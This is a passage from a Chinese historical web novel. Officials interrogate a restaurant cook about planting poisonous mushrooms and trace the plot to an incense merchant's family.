两名狱卒打开牢门把人架出来拖到审讯处,钱氏被绑在刑架上。钱氏终于在几个男人中看见了姚轻雪。但她并没有因为看见熟人感到喜悦,而是生出恐惧。 褚景尧好整以暇地坐到椅子上,“钱氏,你可有话要说?” “冤枉啊大人,我没做坏事,为何要抓我?”然后她转向姚轻雪,“东家,救救我,我什么都没做啊。” 姚轻雪缓缓走到刑架前:“你和我同时出现在刑部大牢,你还敢说什么都没做吗?” “我、我、”钱氏心虚了。 其实在她被人从被窝里拖出来时便有预感,看见姚轻雪便猜到她来的目的。但她不能认罪,即便搭上这条老命也得保住儿子和孙子。 “没有证据,衙门岂会连夜将你抓来。”姚轻雪走到墙边看墙上泛着寒光的刑具。还拿起沾着黑色血迹的烙铁瞧了瞧。 褚景尧纳罕,对韩泽道:“你媳妇胆子真大。” 别的女人进到这间屋子早就吓得心颤腿软,就是男人也没几个不怕的。姚轻雪倒好,看刑具看得起劲,那可不是玩具。 韩泽没说话,眼睛跟着姚轻雪,他的雪儿总是在出其不意的地方给他惊喜。 旁人对姚轻雪都有几分敬佩,佩服她一介女流胆子够大,但钱氏却怕的要命。“东家,你、你要干什么?” 姚轻雪放下瘆人的烙铁,再次面对钱氏:“怎么?怕我亲自对你用刑?” 钱氏张了张嘴,却不知该说什么。 “我自认为对你不薄。”姚轻雪直视钱氏的眼睛,“你为何要这般害我?” 钱婆子哭着说:“没有,东家冤枉我了,您对我有恩,我老婆子怎么会害您?” “到现在你还不肯说实话吗?”姚轻雪面上微冷,“既然把你带来便是有确凿证据,吴四亲眼看见你把阎王催放进装红菇的布袋里。” 钱氏怔住,不可能,她放的时候后厨没有别人。像是知道她在想什么,姚轻雪又道:“吴四因腿脚不便,常常提早到酒楼,而那日他亲眼看见你把和红菇相似的毒蘑菇放进去,原本他以为是你偷拿,念在与你共事的情分便没有声张,直到**死在饕餮楼,衙门从后厨搜出毒蘑菇,吴四才明白你放进去的究竟是什么。” 钱氏张大嘴巴说不出话,吴四确实常常早到,但那日她分明没看见吴四啊。姚轻雪说的有鼻子有眼,她也不敢肯定了。 钱氏不死心地为自己辩解:“东家,我怎么可能那么做?吴四跟我无冤无仇,为何要害我啊?” “是啊,吴四跟你无冤无仇,为何要害你?”姚轻雪反问。 钱氏噎住,看着姚轻雪不说话。 “我知道你有苦衷,你若把背后之人说出来,我会求褚大人网开一面,让你少吃苦头。” 钱氏:“我、我没什么可说的,要杀要剐随便吧。” 姚轻雪:“为了儿子你什么都可以做,哪怕是死你也愿意,对吗?” 钱氏面无血色惊恐地看着她,姚轻雪继续说:“你若有个好歹,你觉得你儿子一家在京城呆得下去吗?” “你要做什么?跟我儿子没关系,你不要动他。” “不是我要动他。”姚轻雪道,“多少人因为饕餮楼改变命运,而你却因一己私欲毁了那么多人的好日子。若是知道你害他们丢了生计,你觉得大家会怎么做?你儿子还有你 那未满周岁的孙子,会有怎样的下场?不是谁都像我姚轻雪这么善良。” 钱氏只觉得周身血液瞬间变凉,她背叛东家是为了保儿孙,若保不住那她死了也没有意义啊。 姚轻雪:“念在主仆一场的份上,我请褚大人不要对你用刑,到现在你不说实话吗?等我离开这间屋子,便没人能帮你了。” “姚东家!”褚景尧道,“您太心善了,您念主仆情谊,她却害饕餮楼关门,这种人不值得可怜。” “敬酒不吃吃罚酒。”韩泽耐心告罄,起身拿起一把尖锥走到刑架前。 他侧着头阴森森地看着满脸泪水的钱氏;“想保儿子?呵!你猜本官会怎么对他?” 第123章 第123章我在家等你 钱氏寒毛倒竖,因为是东家的男人,所以大理寺少卿的狠厉无情,她早有耳闻。多少大官都死在他手里,听说挖人心肝下酒的事都干得出来。韩泽只有在姚轻雪面前看着和善。 钱氏并不怀疑,若是从自己嘴里问不出有用的东西,韩泽一定会拿她儿子开刀。怎么就猪油蒙了心,因为东家善良就忘了姚轻雪有一个活阎王的夫君啊。 钱氏终究还是怕了,她怕疼、怕死,怕她死后,儿子步她后尘,若是老实交代,只死她一人,儿子孙子说不定还有救。 反正都要死,不如堵一把,堵东家心善。 “我说,大人我说。”钱氏大叫。 姚轻雪“……”所以她好心好意、费了半天口舌,结果不如一把锥子有用? 韩泽:“谁指使你往饕餮楼放毒蘑菇?把你知道的都说出来,不要有任何隐瞒,我耐心有限。” “大人,我说我都说,东家!”钱氏看向韩泽身边的姚轻雪,“看在主仆一场的份上,您救救我儿子。” 韩泽举起锥子把钱氏的脸别过来,让她面对自己:“你没有资格提条件,尤其是对雪儿。” 钱氏面无血色、豆大的汗珠顺着脸往下滚。此时她又怕又悔。 姚轻雪叹口气:“说吧,我尽力而为。” “谢东家!”钱氏脸上露出几分喜色,酒楼的人知道姚东家向来说话算话,说给多少奖励绝对不会少一文,只要她答应保儿子,大宝就一定没事。 “大前儿晚上我从酒楼回家,走到何家巷突然被一伙人蒙住头、堵住嘴。然后那伙人给我一包东西,让我混进后厨的红菇里。他们说那蘑菇会让人身体麻痹,只会给饕餮楼惹一点小麻烦。东家对我们都那么好,我哪里肯啊,但他们说我若不照做便要剁了我儿子。我回家见大宝不在,我去赌、赌坊也没找到人。” “东家,我没有办法啊,即便大宝不是东西,赌钱输光了家业,那是我儿子啊,我不能眼睁睁看着他死,我那孙子还不到两岁。”钱氏痛哭流涕,“我想着先按他们说的做,等他们把我儿子放回来,我再把东西拿出来。没想到、没想到、” 姚轻雪:“没想到苏绒死在饕餮楼,你放进去的蘑菇成了铁证。” “东家,苏绒绝对不是我放进去的蘑菇毒死的,”钱氏急着为自己辩解,“当时我把他们给的蘑菇放进红菇袋子最底下,得两三天才能用到。苏绒死后我想去后厨把那蘑菇拿出来,但是乔掌柜让人围住饕餮楼,不能出也不能进,后来您和衙门的人先后到了,我就更没有机会了。” 褚景尧问:“你儿子何时回的家?” “苏绒死后不久我儿子就回了,他说他和朋友喝酒喝多了,一直睡到那时,他什么都不知道。” 韩泽皱眉:“说了半天你到底知不知道绑了你的人是谁?” “我被蒙着头,没、没看见那伙人。” “耍我?”两个字韩泽说的不紧不慢,但陡增的戾气令钱氏浑身发冷。若是此刻姚轻雪不在,相信他手中的锥子会把她捅个窟窿。 姚轻雪以为这次又是白费工夫,就听钱氏突然道:“不不,我说的都是实话。虽然我蒙着脸,但我记得有个人身上的气味。我的鼻子很灵,人在几米外他身上香臭我都闻得出来。” 褚景尧:“少说废话,什么气味?” “香味儿,像是很多香气混在一起的味儿。有一次孙九上菜忘了客人的鲜鱼片,我给送出去,碰见乔掌柜和一个男人说话,路过他们时我也闻到了那股味道。很特别,我从来没在旁人身上闻到过那股味儿。” “钱氏,不要以为胡乱攀咬便能脱罪。”韩泽斥道,“饕餮楼各种气味混杂,你如何能准确分辨出那人便是绑走你的人?” “我不确定但说不定他们有关系啊,那个味儿不常见。”钱氏忙道,“韩大人,都到这个份儿上了我没有骗您的必要。我做了坏事对不起东家,只求一死,但求求韩大人和东家帮帮我儿子,若是知道我招供,他们不会放过大宝和麟儿。”麟儿是钱氏未满周岁的孙子。 “你想多了。”褚景尧道,“事已成,他们没必要对付你儿子。进了刑部大牢的不吐出点什么不可能安然离开,背后之人定然也想到了。” 韩泽:“之所以没对你下手,想必笃定我们找不到线索,便也找不到他们。” “求大人去找大宝,我儿子不能死,啊~”钱氏疯了般用力挣扎,手腕被麻绳磨出了血都感觉不到疼。 韩泽眯了眯眼,“你是不是还有隐瞒?” “没了,韩大人求求您,去把我儿子找出来。”钱氏痛哭不止。 褚景尧意识到了什么,他终于从椅子上起身,走到型架前:“说起来今晚去你家,你儿张大宝并未在家中,他去了哪里?” “我不知道,我真的不知道。”钱氏像是搁浅的鱼,极其痛苦又不肯放弃最后一丝挣扎,“东家,我知道您心善,求您派人去找我儿子,晚了他就回不来了。” “婶子,我最后再叫你一声婶子,事到如今你还不肯说实话吗?”到现在她还在隐瞒,姚轻雪对她也同情不起来。 “你儿子的命是命,别人的命就不是命吗?你若再不说实话,我也帮不了你。只有把事情都交代了,你儿子才有活命的可能,你耽搁一刻他便多一份危险。” 钱氏只哭,还是不肯说。 韩泽道:“你既进了刑部大牢就别想再出去,那些人能杀张四夫妻灭口,想必你儿子也凶多吉少,你既然不急我们也不急,等着给你儿子收尸吧。” 钱氏立刻止了哭声,“张四夫妻是他们杀、杀的?” “不妨告诉你,有人故意针对雪儿和饕餮楼,张四夫妻和你一样都是被利用了。用完立刻杀掉。今晚若不把你抓来,你很快会跟张四夫妻一个下场。” 钱氏张着嘴巴,大口喘着粗气。韩泽没再催她,而是让她自己想明白。牢房里除了火把发出的“噼啪”声,就是钱氏粗重的喘息声。 半盏茶的功夫,钱氏才彻底放弃抵抗,有气无力道:“其实那毒蘑菇是大宝给我的。他说那只是令人麻痹的蘑菇不会有事,只要我按照要求放进后厨,大宝欠下的赌债就能一笔勾销。那孽子欠了三百两赌债,三百两啊,就是把我这把老骨头砸碎了卖也还 不起啊。大宝说我若不做就把麟儿抱去卖了,那畜生竟要卖亲儿子还债。” “东家,前面我说的不全是假话,苏绒死后我确实想把蘑菇拿回来,我回家找那孽子算账,他也吓得不轻,说要去找那人问清楚。我那傻儿子也是上了当,以为那只是能让人麻痹的蘑菇,他并不知道会毒死人,事到如今我没有必要再骗你们。我不让他去,他把我推倒在地上,出门后一直没回来。他能去的地方我都找遍了,也没找到人。昨天夜里有人在我窗外,说官府若是找到我不准我透漏半个字,不然我儿子得死,我孙子也保不住。” “我儿子是不是已经、”钱氏满脸绝望,甚至不敢说出一个“死”字。 谁都没说话,按照那些人的做派,钱氏的儿子十有八九已经完了。 从地牢出来已是亥时末。褚景尧抻了抻胳膊,“韩少卿慢走,天亮我还得去张大宝,查阎王催,找乔掌柜问话,褚某就不送了。” 韩泽拱手:“有劳!” 姚轻雪颔首:“褚大人辛苦,等饕餮楼重开,轻雪会准备最好的酒菜感谢大人和您的手下。” 褚景尧:“那就这么说定了,姚东家早些回去歇息吧。” 走出刑部,韩家两辆马车都等在外面。姚轻雪抬头望向缀满寒星的夜空,深吸一口凉气。其实此刻她心情还不错。有钱氏的证词,饕餮楼的嫌疑基本可以洗清,这两日的阴霾总算撕开了一条口子。 “你先回家。”韩泽把披风的帽子给她罩上。 “你不回吗?” 韩泽:“张大宝或许知道什么,我得尽快找到他。”活要见人死要见尸 “褚大人不是说等天亮他去找吗?” “人命关天哪等得到天亮。”韩泽轻哼,“褚景尧总不服我,嫉妒陛下把大案交给大理寺。他也不想想就刑部这拖拖拉拉又粗心的行事作风,能办得了什么要案?等他睡够别说张大宝,痕迹都被抹干净了,他还能查到什么?” 姚轻雪深以为然,若不是吴四发现钱氏有问题告诉她,褚景尧怕是很难发现钱氏不在审问人群之中。 而韩泽为了案子经常几天几夜不着家,要抓什么人立刻行动,绝对不会让他在大牢外过夜。这么看大理寺的效率确实要比刑部高很多。 太能干也不全是好处,她男人已经两天一夜没合眼了,姚轻雪心疼但也没法替他分担。 “去吧,万事小心,我在家等你回来。” 第124章 第124章“百两黄金?姓韩的可…… 韩泽回到大理寺,把睡得正香的手下全都从被窝里拎出来。满京城彻夜寻找钱氏之子张大宝。但张大宝就像凭空消失了一般,活不见人死不见尸。 杜七:“大人,张大宝会不会害怕逃跑或是躲起来了?” “坏事做完才知道怕?要怕在知道少夫人背后是谁时就该退缩。”韩羽不这么认为。 高飞:“钱氏说他们被骗了,并不知道那蘑菇有毒,属下觉得钱氏可能没有说谎。”普通人没几个敢把人命担在身上。 “你们说那苏绒为何眼都不眨一下就去饕餮楼送死?他总不会为了银子宁愿把自己的命搭上吧?”杜七摸着下巴分析,“听大人说那日**吃了不少东西,阎王催似乎也是他自己带过去的,一个知道自己要死的人还吃得下饭,这心性可不是小小米铺的伙计能有的。”换做是他都做不到。 韩泽不紧不慢道:“苏绒可能也是被人骗了。”若是有人告诉他,吃了那些蘑菇只会拉肚子或是生个几天小病,如此便能从饕餮楼或是别处得到一大笔银子,以苏绒的情况应该不会拒绝。 “顾春桃!”杜七道,“苏绒的娘子应该知道些什么,不过人在刑部,我们要见人很难。” “大人,杜哥,去刑部怕是也没多大用。”陈九道,“苏绒和顾春桃的孩子不见了,褚大人还没找到人。那孩子十有八九成了人质,顾春桃想要孩子活,便不会说实话。” 余天照:“那孩子会不会已经遇害?”背后之人太凶残,如今涉事的人都被灭口,让他们无从查起,有力气也使不上,一个孩子还会留着吗? 韩泽摇头,“要想顾春桃闭嘴,那孩子就得活着。” “刑部那群废物,人都到手了愣是一点有用的消息问不出来。”高飞骂道,“要是交给咱们,一个晚上就让她全吐了。” 杜七:“大人,线索都断了,接下来该怎么做?” 韩泽:“发布告,对说出张大宝踪迹之人重赏,若有人能把他带去刑部赏黄金百两,生死不论。韩羽你带人出城找,杜七你带人去找顾春桃的儿子。” 他这刚分派完任务,大理寺卿陆方打着哈气走进来。 “大人,还未到上直时间,您怎么这么早就来了。”高飞嬉笑着说道。 “还不是因为你们。”陆大人扫了一眼屋内众人:“听说你们昨晚折腾了一宿,找到人了没?” 韩泽摇头,然后给手下使了个眼色。大家心领神会给陆方行礼后都走出房间。 陆大人也没拦着,他找了个椅子坐下。“饕餮楼的案子刑部主办,大理寺不该插手。不过最近没什么事,你也很久没休息了,就给你们放几天假吧。” 韩泽懂陆方的意思,躬身行礼:“多谢大人!” 陆方起身,背着手往外走。“饕餮楼若是换了人,吃饭都没胃口了。” 送走陆寺卿,韩泽去了乔旺家里。钱氏说的那个男人和乔旺有过接触,或许从乔旺那里能找到有用的线索。 褚景尧睡了一觉,天亮起床洗漱吃过早饭后便准备派人去找张大宝,找**的孩子查阎王催等等,今日有很多事要做。 褚景尧心想韩泽这次真是欠了他很大人情。正想着就听见刑部衙门外闹哄哄吵嚷声不断。 “早市何时搬到刑部门口了?”褚景尧说了句玩笑。 “大人!”手下拿着一页纸匆匆走来。 褚景尧:“何事?” “大人!布告天亮就贴的满大街都是。”手下把手里的纸递过来,“外面来了很多人,都说有张大宝的消息,要咱们给银子。” 褚景尧接过布告从头看到尾,气得鼻子都歪了。“百两黄金?姓韩的可真大方。” 告示落款虽是刑部衙门,但他才刚分派任务,哪里有时间发布告?用脚丫子想也知道是谁干的。那厮为了媳妇,这是一宿没睡? 琢磨过味儿来的褚景尧,心里不是滋味。昨晚他在温暖的被窝里睡觉,而韩泽彻夜找人。 见上司脸色铁青,手下以为褚景尧是被上面写的赏金吓到了。“大人,这银子怎么办?这么高的赏银上头不一定会批。” “不是不一定,是一定不会批。”褚景尧把告示拍到桌上,“无妨,这笔账记在韩泽身上,等案子结了我亲自上门讨要。去看看门外那些人都有什么线索,若是胡编乱造,关他三日以示警告。” 受了韩泽的刺激,褚景尧也是不敢再有一丝懈怠。把手下分成几组找人的找人,问话的问话。 与此同时,乔旺家里。韩泽把钱氏的话对他说了。乔旺是将军府出去的人,韩家对他不薄,雪儿对他更是委以重任。韩泽不觉得乔旺会参与其中。若钱氏所言不虚,或许那人与乔旺相熟,只是无意中被钱氏碰见了。 “香气?”乔旺紧皱眉头努力回想。饕餮楼内气味十分混杂,尤其是麻辣锅子的热气蒸腾后,轻微的香或臭都闻不到。“钱氏可有说那人的特征?” 韩泽:“没有。” 乔旺点头,他想应该也是没看见,不是没看而是不敢看。酒楼来的大多是贵人,像钱氏那等身份一般不敢抬头直视客人的面容。 乔旺努力想着,韩泽闭目养神并不打扰,他已经两天两宿没合眼了,稍微休息片刻也是好的。 突然乔旺惊道:“难道是他?” 京城万家主院正房,锦衣华服满头珠翠的万凝霜急得走来走去。“钱氏被刑部抓了去,听说韩泽也在,这可如何是好?” 见自家大哥淡定喝茶,万凝霜上前夺了万常青手里的茶杯“咚”地一声放到桌上。“都这个时候了你怎么不着急?要是按我说的做,事成之后杀了钱婆子母子,然后装成自戕,一了百了又怎会有今日?她若顶不住酷刑,说了不该说的可怎么办?” “现在知道怕了。”万常青叹气,“当初你和铎儿做的时候怎么不想想后果?若是在京城之外还好,这可是京城,短时间内死很多人,你是怕事不够大吗?” “就是要把事情闹大。”万凝霜肆意张扬,“让姚轻雪没有翻身之地,如此我才能拿到饕餮楼。” “凝霜!你太鲁莽了,做之前怎么不跟我商量?那韩振虽没有实权,但他那个儿子却不是好惹的,身为大理寺少卿又深得陛下赏识,即便是王爷也要避其锋芒。韩泽不是那么容易对付,我们没有扳倒大理寺少卿的本事。” “怕什么。”万凝霜一屁股坐到椅子上,“该死的不都死了吗?即便赖不到姚轻雪头上,也查不到我们身上。再说我也没要扳倒韩泽,我只想要饕餮楼。” “正因为死了太多人才更不好收场。”万常青对这个妹妹头疼不已。 凝霜身为宁王妾室备受宠爱,但却无所出,再加上宁王年岁大了,自家妹妹想要孩子傍身是不可能了。一旦宁王去世,宁王府没有她的容身之地。 自从她得知饕餮楼的东家是女人,她的心思便活络起来。没有 儿女傍身,那就赚很多银子自己给自己当靠山。可她偏不想吃苦,想要坐享其成,要把那饕餮楼夺过来。 他只不过出京进了一批货,回来才知道他这个蠢妹妹让自己儿子替她做了无法挽回的事。先是雇了两夫妻污蔑姚轻雪名声,然后再杀了那两个人嫁祸给姚轻雪。 她也不想想,那姚轻雪的男人是干什么的?大理寺少卿专查大案要案,怎么会被这点小伎俩蒙住眼? 这还不算完,这两个不知死活的又让苏绒死在饕餮楼,如今又多了钱氏的儿子张大宝。 万常青气妹妹把他儿子万铎牵扯进去。还好,这两个没有昏了头把毒掺在香里送去饕餮楼,不然整个万家都得赔进去。 万家以卖香为生,饕餮楼偶尔买香熏房间,一来二去他便与乔旺乔掌柜熟悉起来。他从乔旺的只言片语中算出饕餮楼每日的大概进项,这一算不得了,饕餮楼一个月赚的比他一年都多。他卖香已是暴利,没想到饕餮楼更甚。 既羡慕又嫉妒,见到妹妹时不免多说了几句。万常青此时肠子都悔青了,要知道凝霜这么鲁莽他半个字都不会提。 见大哥眉头拧得死死的又不说话,万凝霜道:“我刚想了想钱氏好像不知内情,尾巴都扫干净了,这事查不到我们头上,大哥尽管放心。” 放心?放心个屁?你当大理寺和刑部都是吃干饭的?在深宅伺候男人自己都变成傻子了。这要不是亲妹子,又正得宁王的宠,万常青真想给她两巴掌,让她清醒清醒。 万凝霜:“姚轻雪一而再再而三给将军府惹麻烦,也许用不了多久韩家,尤其是韩泽就会厌弃她。哪个高门大户喜欢惹事的儿媳?真到了那一日,一介无依无靠的孤女还不是任我们拿捏。” 万常青皱眉不语,妹妹说的有些道理。豪门大宅最爱面子,女人一旦有错便会觉得是家门耻辱。 京中谣言还在传,将军府自然受到波及。姚家就是普通人没有靠山。若是真如妹妹所说,姚轻雪被将军府扫地出门。妹妹再跟宁王殿下吹吹枕头风,他们万家拿下饕餮楼也不是不可能。 这么想着,万常青心情稍微好了那么点。“事情到此为止,只要他们抓不到把柄,张四夫妻和**的案子便成了悬案。” 朝廷每年都有悬案,即便韩泽再厉害,没有证据也查不到他们身上。接下来只要静观其变等待时机,饕餮楼便可收入囊中。 第125章 第125章万常青 乔旺把所有自己认识的人都想了个遍。要说身上带香气倒也算不上多特别,有的男人也爱挂香囊或是用香熏衣物。但大多数人都只用一种香,像钱氏说的香气混杂,他只想到了一人——万常青。 “万常青?”韩泽确定自己不认识此人。 “万常青乃万香阁的东家,饕餮楼有时为了除去过重的饭菜味儿会燃香,我也是因为这个逐渐跟万常青熟起来,他亲自来饕餮楼送过两次货,或许是那个时候被钱氏碰见。” 万常青是卖香的,每天都跟不同香料打交道,身上不可避免地会染上多种香味,符合钱氏所说。 “大人!万常青有个妹妹是宁王殿下的爱妾,听说很受宠。”乔旺没再往下说,涉及朝堂或是皇室中人他不敢多嘴,公子会自行斟酌。 爱妾而已,即便是宁王本人,韩泽也要闯一闯宁王府。从乔家出来,韩泽带人直奔万家。 “大人!万常青不足惧但宁王殿下、”余天照顿了一下,“我们就这样把人抓了,万一弄错,宁王那里不好交代,陛下怪罪下来也不好收场。” “有事我担着,陛下怪罪也有我顶着。”韩泽目光坚定。 余天照:“大人!我不是那个意思,而是担心您、” 韩泽抬手打断他:“我明白,先做事。” 万常青前脚刚送走不省心的妹妹,就听下人来报大理寺少卿韩泽找上门来。此时万常青正在吃补品,闻言惊得他把手里的燕窝掉在地上。“谁、谁来了?” “老爷,大理寺少卿,带了不少人,说有事要找您。”小厮低着头战战兢兢地回话。 被大理寺找上门绝不是什么好事,何况还是大理寺少卿亲自上门。怕不是自家老爷跟什么官司扯上了关系。若是抄家灭门的大罪他得早做打算。万常青愣神的功夫,小厮把退路都想好了。 “人在哪里?”万常青撑着桌子站起身,“请进来。” “是。” 小厮退出房间后,万常青赶紧让丫鬟把地上的狼藉收拾干净,他猛灌了两大杯茶水才让自己冷静下来。待韩泽进门,万常青已恢复如常。 “韩大人!什么风把您吹来了。”万常青拱手行礼,“韩少卿大驾光临,万家蓬荜生辉。” “万老板!”韩泽拱手回了个礼,“不请自来还望万老板不要怪罪,韩某有一件很重要的事要当面向万掌柜询问。” “大人说的哪里话,能帮上大人乃是万某的荣幸。说起来我与饕餮楼有些生意上的往来,与乔掌柜也算熟人。”万常青富态的脸上带着温和的笑。 他提起壶亲自斟茶。韩泽手指轻轻点着桌面,一下一下,敲的万常青心里也跟着打鼓,差点没把茶水倒到杯外。 万常青定了定神,问道:“不知韩大人找我所为何事?” “你可认识张四与苏绒?”韩泽开门见山。 万常青想了一下然后摇头,“不曾听说,他们是什么人?” “如今京城人人都在传的两个人,万老板竟然不知?”韩泽似笑非笑地看着万常青。 万常青拱手:“您说的这两个人万某着实没有印象,万某去南边进货,一去一回一月有余,昨日早上才回的京。回来后便忙着安置货物,这两日着实没倒出时间,至于您说的京城都在传什么,还不曾有人跟万某说起过。请问那张四和苏苏什么的,是什么人?可是犯了什么罪?” 韩泽微不可察地皱了下眉,刚回京?“是两起命案的死者。” 万常青点了点头,“原来如此,万某平日不喜坊间传言,谈论死者是对其不尊重,也觉得不大吉利,所以下面的人不敢在我面前说这些,难怪我不知情。不知万某能帮上大人什么?” 韩泽盯着万常青, 后者不躲不闪十分淡定。 “有人看见你与死者苏绒碰过面。” “竟有这事?”万常青表现得很惊讶,他也确实感到惊讶。 若韩泽说案子与他有关,万常青怕要忐忑难安,但说他与苏绒见过面简直是无稽之谈,那是绝对不可能的事,他千真万确昨日才回的京,根本就没见过苏绒。 这位大理寺少卿怕是在诓他?就是不知哪里漏了破绽让他找上自己?整件事都是自己那蠢儿子做的,现在想问问清楚都不行。万铎和他那几个手下让自己送出京城避祸去了。 万常青暗暗松了口气,身体放松地靠在椅子上。“大人,是不是哪里弄错了?万某绝对不认识张四和苏绒,也不可能见过他们。这二人若是万香阁的客人,回头我把店铺名册送去大理寺给您过目,但人我是真不认识。” “我想也是,万老板怎么会认识那种小人物,只是有人指认本官不得不来求证。”韩泽起身,“为了洗清嫌疑,万老板随本官走一趟。” 韩泽的语气不容拒绝,万常青藏在袖子里的手用力攥了攥,“协助官府查案是万某该做的,大人稍等,我去换身衣裳再出来。” “去去就回耽搁不了多少时间,万老板就不必麻烦了,我瞧着你这身就挺好。”刚刚一碰面韩泽从万常青身上闻到了混杂的香味。很淡,若是平常并不会引起他的注意。 他对香料不在行,也没有熏香的习惯,雪儿更是不尚此道。尤其是有了曜儿之后,雪儿不让丫鬟婆子使用任何香,说是对孩子不好。听说对孙子不好,母亲都不用香了,韩莺等去东院都得换刚洗过的衣服。 所以,要不是钱氏鼻子够灵,这件事就被错过。张大宝若是一死,那就彻底断了线索。 万常青心里一万个不愿意,也得跟韩泽走,本来或许没什么事,若是推脱就会加深怀疑。“就听大人的,走吧!” 万常青想要坐自家马车,也被韩泽回绝了。“赶时间万老板就别麻烦了,稍后本官派人送你回府。” 万常青无奈,只好与韩泽同坐一辆马车。车内空间有限,万常青与韩泽面对面坐着越发觉得不自在,但他努力装出不甚在意的样子。 “万香阁在京城名气不小,想来万老板手下养了不少人吧?”韩泽与他闲聊。 “大人过奖了,万香阁只是卖香的一家小铺子,店里账房、伙计等加起来总共才六个人,着实比不得饕餮楼姚老板养着几十人,令万某钦佩不已。”万常青笑呵呵地说道。 “令郎现在何处?” 韩泽突然问起儿子,让万常青有一瞬的惊慌,但他很快便平复下来。“回京途中我听说东海有龙涎香,万某旅途劳累不便前往,回京后便让犬子去东海购那龙涎香。” “万老板还真是购香心切,回来不享天伦之乐便把儿子派了出去。”韩泽嘴角微微勾起,似笑更像是一丝嘲弄。 这让万常青心里更加没底,嘴上还得周旋。“这也是没办法,开香料铺子,香料种类自是越多越好,晚一步让别家抢了先,生意就不好做了。而且我那妹夫最喜欢龙涎香,眼看要到年底了,万某想提早把年礼准备出来。” 万常青叫宁王妹夫,韩泽在心里嗤笑,你算哪门子大舅哥?也去不问问宁王妃同不同意。 “说的在理,生意难做,若是不小心被小人觊觎那便不妙了。万老板可要小心了,世上贪心之人数不胜数。”韩泽意有所指道,“有人竟不把我韩家放在眼里,你说他是不是吃了熊心豹子胆?” “呵呵,那人定是活腻了。”万常青笑容有些僵,若不是极力控制,冷汗怕是都下来了。韩泽起疑了,但他应该没有证据,不然不会对他这般客气。“韩大人的提醒万某谨记在心。” 儿子和替他做事的几个人只送到邻县躲起来,万常青打定主意等回家今晚就让万铎赶紧走,走得越远越好永远都别回京城。过后就说路上出了意外,弄个假死脱身。替儿子做事的那几人一个都留不得。 钱氏关在刑部大牢,所以韩泽就把人领到了刑部衙门。到衙门口,万常青就听见外面传来哭嚎声。等下了马车,就见刑部的官差正按着人打板子,四周围满了看热闹的人。 褚景尧扫视人群:“胡编乱造耽搁衙门办案这就是下场,但若所言不虚赏银一个子儿都不会少。” 恰在此时有衙役高声道:“周铁牛昨日看见张大宝出城,经核实信息真实,赏银十两。周铁牛,过来拿银子。” “哎!”憨憨的汉子激动得面红耳赤地走到桌案前,从官差手里接过沉甸甸的十两银元宝。“谢官爷、谢大人!” 褚景尧杀鸡儆猴震慑了贪财之人,那些人见赏钱不好骗,再看地上被打得屁|股开花的惨状,赶紧都溜了,生怕走晚了自己也遭殃。 片刻间衙门口就没什么人了,人群一散便把韩泽等人露了出来。 “吆!韩大人!”给他找了这么多事,还让他自掏腰包付赏钱,褚景尧看见韩泽就来气。“您来我刑部有何贵干?” 韩泽沉着脸,“褚大人,钱氏说万老板是威胁她的人,人我给你带来了,让钱氏认人吧。”他指了指身后的万常青。“万老板生意很忙,早认完好早些让他回去。” 褚景尧心里纳闷钱婆子何时说了人名?但他没表现出来,而是应道:“好,随我来。” 韩泽落后几步,有手下走过来悄悄道:“大人放心,余天照已带人去查万铎行踪。” 韩泽点了下头,快步跟上褚景尧。 第126章 第126章“什么情况?”…… 待韩泽跟上来,褚景尧对他使眼色,那意思:“什么情况?” 韩泽比了个手势,褚景尧眯起眼盯着前方的万常青,这人是背后主使?“怎么找到的?” 韩泽轻飘飘地看了他一眼,然后嘴里“呵!”了一声。 褚景尧:“……”你呵什么呵呀?不就是慢了你一步吗? 万常青被带到地牢深处,常年不见光的腐朽气味令他作呕,偶尔传来囚犯的呻吟声更是让他毛骨悚然。万常青甚至想不管不顾地转身离开, 案子若跟万家没有关系,他在刑部撒泼都无妨,妹妹能借宁王殿下的势把他安然无恙地弄出去,说不定韩泽还得亲自给他赔不是。但事实却不容他那般做。 被带到装满刑具的屋子,万常青好不容易稳下来的心神一下子又慌了。“大人,带万某来此是何意啊?”不会是给他上刑吧? “别慌,认人而已。”褚景尧脸上挂着招牌笑容。 “不慌、不慌。”万常青也陪着笑。只是不知是不是地牢光线昏暗,他的脸看上去惨白一片。 不久,披头散发的钱氏被两名狱卒架了过来。这婆子的样子显然是用过重刑,路都不能自己走了,而且浑身是血。万常青腿一软差点跪地上。 钱氏被架到万常青跟前,她看了眼万常青,而后吸了吸鼻子。突然,钱氏猛然挣脱开狱卒的桎梏,扑向万常青:“是你,就是你,我儿子在哪里,你把他弄到哪里去了?把儿子还给我。” “不、不,我不认识你儿子。”万常青推开钱氏,“你别过来。” 万常青话一出口,钱氏突然顿住,随后跌坐到地上。 韩泽:“休得胡闹,你说万老板是你要找的人,我把人带来给你认,你要照实说,若敢诬陷好人决不轻饶。” 钱氏像是被吓到了,抱着肩膀不说话。 褚景尧:“万老板,你可认识此人?” “不、不认识。”万常青躲到墙角连连晃头,“万某绝对没见过这疯婆子,一定是弄错了。” 褚景尧又问钱氏:“你可认识此人?” 钱婆子沉默了一下,然后摇头。 “想来的确是弄错了,万老板对不住。”韩泽向万常青拱了拱手,“来人,送万老板回府。” “告辞!”走出牢房,万常青偷偷擦了 下额头上的汗。随后加快了脚步,他得尽快把儿子送走。 听脚步声万常青已经走远,褚景尧皱了下眉问韩泽:“你搞什么名堂。”把人带到他这里来,以为就是板上钉钉了,结果真就让钱氏认人,而且还不是。浪费了喷在钱氏身上的一碗鸡血。 “你堂堂韩少卿也会弄错?”褚景尧这句话透着酸气。 韩泽没理他,而是问钱氏:“可有闻到他身上的味道儿,是否与威胁你之人相同?” 钱氏赶忙跪好,“回大人,闻到了,像但又有不同。声音也不对,那人的声音听上去像是年轻人,这人声音低沉,我听着不像同一个人。” 韩泽:“确定吗?” “大人,老婆子不敢再有半句谎言。”钱氏叩首。她身上的血看着吓人,但其实是刚撒上去的鸡血。除了来时被吓得够呛,之后狱卒并未对她用刑,想来是托了东家的福。她哪里还敢撒谎。 韩泽点了下头,“回去吧。”万常青刚从外地回来,他身上沾染的香气应该是他最近接触过的香料,所以钱氏才会觉得像又不同。像是香气多而杂,不同是香料种类的区别。 “谢大人。”钱氏磕了个头,起身往牢房外走,走到门口她停住脚步回头欲言又止。 韩泽:“张大宝尚未找到。” 眼泪一瞬间溢出了钱氏的眼眶,她深深鞠了一躬,“谢大人!” “这就完了?”褚景尧抱着胳膊看韩泽。 韩泽:“犯人或许不是万常青,但他有个儿子叫万铎很可疑。” “你不把儿子带来,带他老子来干什么?”褚景尧没好气道。 